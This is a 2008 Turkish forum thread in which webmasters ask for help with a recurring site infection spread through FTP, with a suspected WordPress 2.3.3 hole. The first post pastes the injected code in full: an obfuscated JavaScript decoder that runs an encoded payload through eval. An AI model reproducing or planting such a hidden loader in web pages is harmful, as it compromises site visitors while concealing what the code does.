• 19-03-2008, 14:57:14
    #1
    merhaba;

    Pc mden bi virüs ftp aracılıgı ile 2 siteme birde bulasmıs 2 haftadır ugrasıyorum.
    Hostcu ile gorustum virüs taraması yaptık birsey cıkmadı.
    Birde sizlere sorayım dedim sitede mesela bir gun index.php de bir yere asagıdaki gibi kod eklıyor...

    <script language=JavaScript>function kzxsban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,46,43,44,34,19,33,23,56,29,0,0,0,0,0,0,37,28,10,39,4,14,49,54,1,55,45,3,13,18,5,52,53,61,47,9,48,17,42,62,26,7,6,0,0,0,0,35,0,27,24,58,59,20,16,22,30,57,36,25,60,32,21,31,41,40,8,11,51,50,0,12,38,15,2);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(192^w&255);w>>=8;s-=2}else{s=6}}}eval(r);}}kzxsban('IxV2jWcJ1ysJ6MaJtG0iDWV2@hWWjWcqPGXp1M2dIBaVOgBcCtoVxBaqJgB81ZX2@GoQ@xypmy23_GR8qMsJTV0dRoXqOgBQ_uXV_1c31dXpOWEJR00i2IbqO4VduWXJ1MBcLZBJqc136cBpRGBcp2hWTKylpRWiP7XWjhWcCsE8IxBpO4X0FKylm_XpphBVOGoWTKW3Oxs2@GR8jxc3TuXqiVR2RcXp4dy0RCVpuZX2@c0ipK')</script><!-- kingpaylasim.com -->
    bende her boyle yaptıgında silmek zorunda kalıyorum bi caresi yokmudur lutfen yardımlarınızı beklıyorum...
  • 19-03-2008, 15:02:21
    #2
    Üyeliği durduruldu
    kodları temizle sunucuyu ve bilgisayarını tarat.
  • 25-04-2008, 13:23:01
    #3
    Üyeliği durduruldu
    Bende bu tür bi virüs le mücadele ediyorum.
    Ftp deki bütün virüslü dosyaları temizliyorum sonra ftp şifrelerini değiştiriyorum.
    Ama gene geliyor. Sitemin bi alt sayfasında wordpess kurulu tahminlerime göre wordpess de bi açık var ve ordan giriyor.
    Wp Sürüm : 2.3.3